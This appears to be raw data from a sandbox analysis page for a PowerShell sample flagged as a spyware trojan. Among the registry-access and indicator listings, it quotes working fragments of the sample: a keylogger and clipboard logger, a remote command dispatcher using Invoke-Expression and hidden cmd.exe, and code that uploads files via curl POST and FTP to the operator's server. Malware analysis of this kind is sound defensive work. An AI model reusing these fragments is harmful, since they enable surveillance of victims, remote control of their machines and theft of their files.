"HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "powershell.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "powershell.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")4f:T9e7,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CSC.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\ASP.NET_4.0.30319\PERFORMANCE"; Key: "LIBRARY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "")50:Td47,file/memory contains long string with (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Out-Null"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") file/memory contains long string with (Indicator: "Out-String"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (-not (Test-Path $CacheFile)) { "{}" | Out-File $CacheFile -Force }" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$pcHash | Out-File $idFile -Force" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$_.Exception.Message | Out-File $LogFileInternal -Append" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "& curl.exe -s --max-time 30 -X POST "$ServerUrl/upload_cache/$pcHash" -F "file=@$absPath" | Out-Null" (Indicator: "Out-Null"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if (-not (Test-Path $Vault)) { New-Item $Vault -ItemType Directory -Force | Out-Null }" (Indicator: "Out-Null"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "} catch { $_.Exception.Message | Out-File $LogFileInternal -Append }" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$NewCache | ConvertTo-Json | Out-File $CacheFile -Force" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "} catch { $_.Exception.Message | Out-File $LogFileInternal -Append; "error" }" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$p = "C:\temp\Audit.html"; (Get-DeepAuditHTML) | Out-File $p -Encoding UTF8" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string ""exec_cmd:(.*)" { $realCmd = $Matches[1]; cmd.exe /c $realCmd 2>&1 | Out-String; "success" }" (Indicator: "Out-String"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string ""exec_ps:(.*)" { $realPs = $Matches[1]; Invoke-Expression $realPs 2>&1 | Out-String; "success" }" (Indicator: "Out-String"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$header | Out-File $logFileTemp -Encoding utf8" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "cmd.exe /c "$payload 2>&1" | Out-File $logFileTemp -Append -Encoding utf8" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$c = Get-Clipboard; if($c){ "`r`n[$(Get-Date -f 'HH:mm')] CLIP: $c" | Out-File $LogFile -Append -Encoding UTF8 }" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "if ($k -eq "Enter") { if($sentence.Trim()){ "`r`n[$(Get-Date -f 'HH:mm')] $sentence" | Out-File $LogFile -Append -Encoding UTF8; $sentence = "" } }" (Indicator: "Out-File"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")51:T76b,Found string "Set-Alias -Name gcim -Value Get-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name scim -Value Set-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name ncim -Value New-CimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name rcim -Value Remove-cimInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name icim -Value Invoke-CimMethod -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name gcai -Value Get-CimAssociatedInstance -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name rcie -Value Register-CimIndicationEvent -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name ncms -Value New-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name rcms -Value Remove-cimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name gcms -Value Get-CimSession -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name ncso -Value New-CimSessionOption -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI") Found string "Set-Alias -Name gcls -Value Get-CimClass -Option ReadOnly, AllScope -ErrorAction SilentlyContinue" (Indicator: "Set-Alias"; File: "AMSI")52:T149f,"try { $Signature = '[DllImport("user32.dll")] public static extern short GetAsyncKeyState(int vKey);' $API = Add-Type -MemberDefinition $Signature -Name "Win32Internal" -PassThru} catch { $_.Exception.Message | Out-File $LogFileInternal -Append}function Get-DeepAuditHTML { try { $os = Get-CimInstance Win32_OperatingSystem; $cpu = Get-CimInstance Win32_Processor $uptime = (Get-Date) - $os.LastBootUpTime $uptimeStr = "{0}d {1}h {2}m" -f $uptime.Days, $uptime.Hours, $uptime.Minutes $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent().Name $isElevated = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $internalIP = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -notmatch 'Loopback').IPAddress -join " " try { $externalIP = (Invoke-WebRequest -Uri "http://ifconfig.me/ip" -TimeoutSec 5 -UseBas" (Indicator: " win32_process"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") "icParsing).Content.Trim() } catch { $externalIP = "N/A" } $ActiveConnections = Get-NetTCPConnection -State Established | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, @{Name="Process";Expression={(Get-Process -Id $_.OwningProcess).ProcessName}} | Select-Object -First 20 $avStatus = Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntiVirusProduct $bitlocker = Get-BitLockerVolume -MountPoint "C:" $LocalUsers = Get-LocalUser | Select-Object Name, Enabled, Description, LastLogon $admins = Get-LocalGroupMember -Group "Administrators" | Select-Object -ExpandProperty Name $RunningServices = Get-Service | Where-Object {$_.Status -eq "Running"} | Select-Object Name, DisplayName, StartType | Select-Object -First 30 $TopProcesses = Get-Process | Sort-Object CPU -Descending | Select-Object -First 15 | Select-Object Name, Id, CPU, WorkingSet $AutoRun = Get-CimInstance Win32_StartupCommand | Select-Object Name, Command," (Indicator: " win32_startupcommand"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") "Location $Software = Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKCU:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where-Object { $_.DisplayName -ne $null } | Select-Object @{N="Software";E={$_.DisplayName}}, @{N="Version";E={$_.DisplayVersion}}, @{N="Publisher";E={$_.Publisher}} | Sort-Object Software $eventLogs = Get-EventLog -LogName System -EntryType Error -Newest 15 | Select-Object TimeGenerated, Source, Message $LogicalDisks = Get-CimInstance Win32_LogicalDisk $DiskSectionsHtml = ""; $ExcludePatterns = "Windows|Program Files|ProgramData|Recycle\.Bin|System Volume Information|AppData|PerfLogs|Recovery|Boot" foreach ($disk in $LogicalDisks) { $driveId = $disk.DeviceID; $typeDesc = switch ($disk.DriveType) { 2 {"USB"} 3 {"HDD/SSD"} 4 {"Network"} default {"Unknown"} } if (-not (Test-Path "$driveId\")) { c" (Indicator: " win32_logicaldisk"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") "sToProcess += $_ } } catch {} } } if ($FilesToProcess.Count -eq 0) { return "nothing_new" } $MaxSize = $Cfg.max_size_mb * 1MB; $Set = @(); $Size = 0; $Part = 1 foreach ($F in $FilesToProcess) { if (($Size + $F.Length) -gt $MaxSize -and $Set.Count -gt 0) { Send-Data-FTP $Set $Part $Cfg.ftp; $Part++; $Set=@(); $Size=0 } $Set += $F; $Size += $F.Length } if ($Set.Count -gt 0) { Send-Data-FTP $Set $Part $Cfg.ftp } $NewCache | ConvertTo-Json | Out-File $CacheFile -Force Send-Cache-To-Server; return "success" } catch { return "error" } finally { if (Test-Path $Vault) { Remove-Item $Vault -Recurse -Force } }}while($true) { try { $drivesPing = Get-CimInstance Win32_LogicalDisk | Where-Object { $_.Size -gt 0 } | ForEach-Object { "$($_.DeviceID) $([Math]::Round(($_.Size - $_.FreeSpace)/1GB 1))/$([Math]::Round($_.Size/1GB,1))GB" } $p" (Indicator: " win32_logicaldisk"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") "$os = Get-CimInstance Win32_OperatingSystem; $cpu = Get-CimInstance Win32_Processor" (Indicator: " win32_process"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") "$AutoRun = Get-CimInstance Win32_StartupCommand | Select-Object Name, Command, Location" (Indicator: " win32_startupcommand"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") "$LogicalDisks = Get-CimInstance Win32_LogicalDisk" (Indicator: " win32_logicaldisk"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") "$drivesPing = Get-CimInstance Win32_LogicalDisk | Where-Object { $_.Size -gt 0 } | ForEach-Object {" (Indicator: " win32_logicaldisk"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")53:T5dc,"http://ifconfig.me/ip" (Indicator: "ifconfig.me"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") "try { $Signature = '[DllImport("user32.dll")] public static extern short GetAsyncKeyState(int vKey);' $API = Add-Type -MemberDefinition $Signature -Name "Win32Internal" -PassThru} catch { $_.Exception.Message | Out-File $LogFileInternal -Append}function Get-DeepAuditHTML { try { $os = Get-CimInstance Win32_OperatingSystem; $cpu = Get-CimInstance Win32_Processor $uptime = (Get-Date) - $os.LastBootUpTime $uptimeStr = "{0}d {1}h {2}m" -f $uptime.Days, $uptime.Hours, $uptime.Minutes $currentUser = [Security.Principal.WindowsIdentity]::GetCurrent().Name $isElevated = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) $internalIP = (Get-NetIPAddress -AddressFamily IPv4 | Where-Object InterfaceAlias -notmatch 'Loopback').IPAddress -join " " try { $externalIP = (Invoke-WebRequest -Uri "http://ifconfig.me/ip" -TimeoutSec 5 -UseBas" (Indicator: "ifconfig.me"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") "try { $externalIP = (Invoke-WebRequest -Uri "http://ifconfig.me/ip" -TimeoutSec 5 -UseBasicParsing).Content.Trim() } catch { $externalIP = "N/A" }" (Indicator: "ifconfig.me"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")54:T5bf,file/memory contains long string with (Indicator: ">&1 | Out-String; "success" } "exec_ps:(.*)" { $realPs = $Matches[1]; Invoke-Expression $realPs 2>&1 | Out-String; "success" } "exec_hidden:(.*)" { $realCmd = $Matches[1]; (New-Object -ComObject WScript.Shell).Run("cmd.exe /c $realCmd", 0, $false); "success" } "exec_out:(.*)" { $payload = $Matches[1]; $logFileTemp = "C:\temp\kermit_execution.txt" try { $header = "--- Execution Log ---`nTime: $(Get-Date)`nPC: $($env:COMPUTERNAME)`nCommand: $payload`n$('-' * 25)`n" $header | Out-File $logFileTemp -Encoding utf8 cmd.exe /c "$payload 2>&1" | Out-File $logFileTemp -Append -Encoding utf8 Send-File $logFileTemp "document" "Result_$($env:COMPUTERNAME).txt" Remove-Item $logFileTemp; "success" } catch { "error" } } default {"; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin") Found string "$realCmd = $Matches[1]; (New-Object -ComObject WScript.Shell).Run("cmd.exe /c $realCmd", 0, $false); "success"" (Indicator: "$realCmd = $Matches[1]; (New-Object -ComObject WScript.Shell).Run("cmd.exe /c $realCmd", 0, $false); "success""; File: "73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin")55:T7f4,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1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":89,"unified_at_epoch_ms":1791149211408,"unified_at":"2026-10-04T21:26:51.408Z","metadata":{"hashes":{"sha256":"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9","sha1":"fc5d8c3adade2bd27269d86a3883c6d9518e8836","md5":"fbd9910e36b07c6d4a095c8aabc2c801","sha512":"cdc975a1628e525de55c6035ffd881223ddeee6f4053757e256bcba9a4d4320886b023bb9afbc6be8a826c85477ad4139ed5259256caee01868f3b5d6a2f257f","ssdeep":"192:KLicN9u364ENTwiwoSQcEl1sT6tLENhm83N7xxtQCUqjJGAsf70qXmo8idLqu9OP:KLicNg5oSkl83JUqjJ6f/jaeqgYFO9i","ssdeep_chunks":["192:KLicN9u","192:LicN9u3","192:icN9u36","192:cN9u364","192:N9u364E","192:9u364EN","192:u364ENT","192:364ENTw","192:64ENTwi","192:4ENTwiw","192:ENTwiwo","192:NTwiwoS","192:TwiwoSQ","192:wiwoSQc","192:iwoSQcE","192:woSQcEl","192:oSQcEl1","192:SQcEl1s","192:QcEl1sT","192:cEl1sT6","192:El1sT6t","192:l1sT6tL","192:1sT6tLE","192:sT6tLEN","192:T6tLENh","192:6tLENhm","192:tLENhm8","192:LENhm83","192:ENhm83N","192:Nhm83N7","192:hm83N7x","192:m83N7xx","192:83N7xxt","192:3N7xxtQ","192:N7xxtQC","192:7xxtQCU","192:xxtQCUq","192:xtQCUqj","192:tQCUqjJ","192:QCUqjJG","192:CUqjJGA","192:UqjJGAs","192:qjJGAsf","192:jJGAsf7","192:JGAsf70","192:GAsf70q","192:Asf70qX","192:sf70qXm","192:f70qXmo","192:70qXmo8","192:0qXmo8i","192:qXmo8id","192:Xmo8idL","192:mo8idLq","192:o8idLqu","192:8idLqu9","192:idLqu9O","192:dLqu9OP","384:KLicN9u","384:LicN9u3","384:icN9u36","384:cN9u364","384:N9u364E","384:9u364EN","384:u364ENT","384:364ENTw","384:64ENTwi","384:4ENTwiw","384:ENTwiwo","384:NTwiwoS","384:TwiwoSQ","384:wiwoSQc","384:iwoSQcE","384:woSQcEl","384:oSQcEl1","384:SQcEl1s","384:QcEl1sT","384:cEl1sT6","384:El1sT6t","384:l1sT6tL","384:1sT6tLE","384:sT6tLEN","384:T6tLENh","384:6tLENhm","384:tLENhm8","384:LENhm83","384:ENhm83N","384:Nhm83N7","384:hm83N7x","384:m83N7xx","384:83N7xxt","384:3N7xxtQ","384:N7xxtQC","384:7xxtQCU","384:xxtQCUq","384:xtQCUqj","384:tQCUqjJ","384:QCUqjJG","384:CUqjJGA","384:UqjJGAs","384:qjJGAsf","384:jJGAsf7","384:JGAsf70","384:GAsf70q","384:Asf70qX","384:sf70qXm","384:f70qXmo","384:70qXmo8","384:0qXmo8i","384:qXmo8id","384:Xmo8idL","384:mo8idLq","384:o8idLqu","384:8idLqu9","384:idLqu9O","384:dLqu9OP","192:KLicNg5","192:LicNg5o","192:icNg5oS","192:cNg5oSk","192:Ng5oSkl","192:g5oSkl8","192:5oSkl83","192:oSkl83J","192:Skl83JU","192:kl83JUq","192:l83JUqj","192:83JUqjJ","192:3JUqjJ6","192:JUqjJ6f","192:UqjJ6f/","192:qjJ6f/j","192:jJ6f/ja","192:J6f/jae","192:6f/jaeq","192:f/jaeqg","192:/jaeqgY","192:jaeqgYF","192:aeqgYFO","192:eqgYFO9","192:qgYFO9i"],"imphash":"Unknown"},"file_info":{"file_name":"73f5db0b04dfff8274ecb96dc3c10c8d4819627a20110dc763123d6ed3421fa9.bin","file_type":["powershell","ps"],"file_type_id":"ps1","file_size":15924,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1776412671000,"last_seen":1776412677000,"last_multi_scan":1776412677000}},"detections":{"summary":{"verdict":"malicious","score":89,"tags":["evasive"]},"stats":{"av":{"malicious_count":1,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":61},"sandbox_signatures":{"informative_count":136,"suspicious_count":11,"malicious_count":3,"total":150},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Spy]/PowerShell.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","p